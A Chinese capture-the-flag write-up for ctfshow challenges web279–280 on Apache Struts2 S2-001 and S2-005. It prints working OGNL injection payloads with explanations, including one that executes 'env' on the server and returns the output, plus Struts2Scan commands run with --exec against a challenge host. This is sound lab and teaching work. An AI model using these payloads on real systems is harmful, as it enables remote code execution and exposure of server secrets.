ctfshow_java-279-300


web279-S2-001漏洞

1
2
3
4
S2-001漏洞核心:
利用OGNL表达式注入实现远程命令执行
当登录失败时,错误信息会回显在表单中
输入%{1+1}会被解析为2,证明OGNL表达式被执行

获取 Tomcat 执行路径

1
2
3
4
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

/*@java.lang.System@getProperty("user.dir") - 调用System类的静态方法获取当前工作目录
"tomcatBinDir{"+...+")" - 字符串拼接将结果包装在tomcatBinDir{...}

尝试获取Web路径

1
2
3
4
5
6
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

/*#req=@org.apache.struts2.ServletActionContext@getRequest() - 获取HTTP请求对象
#response=#context.get("...").getWriter() - 获取响应输出流
#response.println(#req.getRealPath('/')) - 输出web应用根目录的真实路径
#response.flush(),#response.close() - 刷新并关闭输出流

任意命令执行

1
2
3
4
5
6
7
8
9
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

/*#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start() - 创建进程执行env命令
#b=#a.getInputStream() - 获取进程输出流
#c=new java.io.InputStreamReader(#b) - 创建输入流读取器
#d=new java.io.BufferedReader(#c) - 创建缓冲读取器
#e=new char[50000],#d.read(#e) - 读取命令执行结果到字符数组
#f=#context.get("...").getWriter() - 获取HTTP响应输出流
#f.getWriter().println(new java.lang.String(#e)) - 将命令执行结果输出到页面

从零开始学习struts2漏洞 S2-001-先知社区

S2-001 远程代码执行 漏洞复现-CSDN博客

web280

1
python Struts2Scan.py -u http://2945b348-7c75-47e1-b900-339e66559c12.challenge.ctf.show/S2-005/example/HelloWorld.action
1
python Struts2Scan.py -u "http://2945b348-7c75-47e1-b900-339e66559c12.challenge.ctf.show/S2-005/example/HelloWorld.action" -n S2-005 --exec
谢谢观看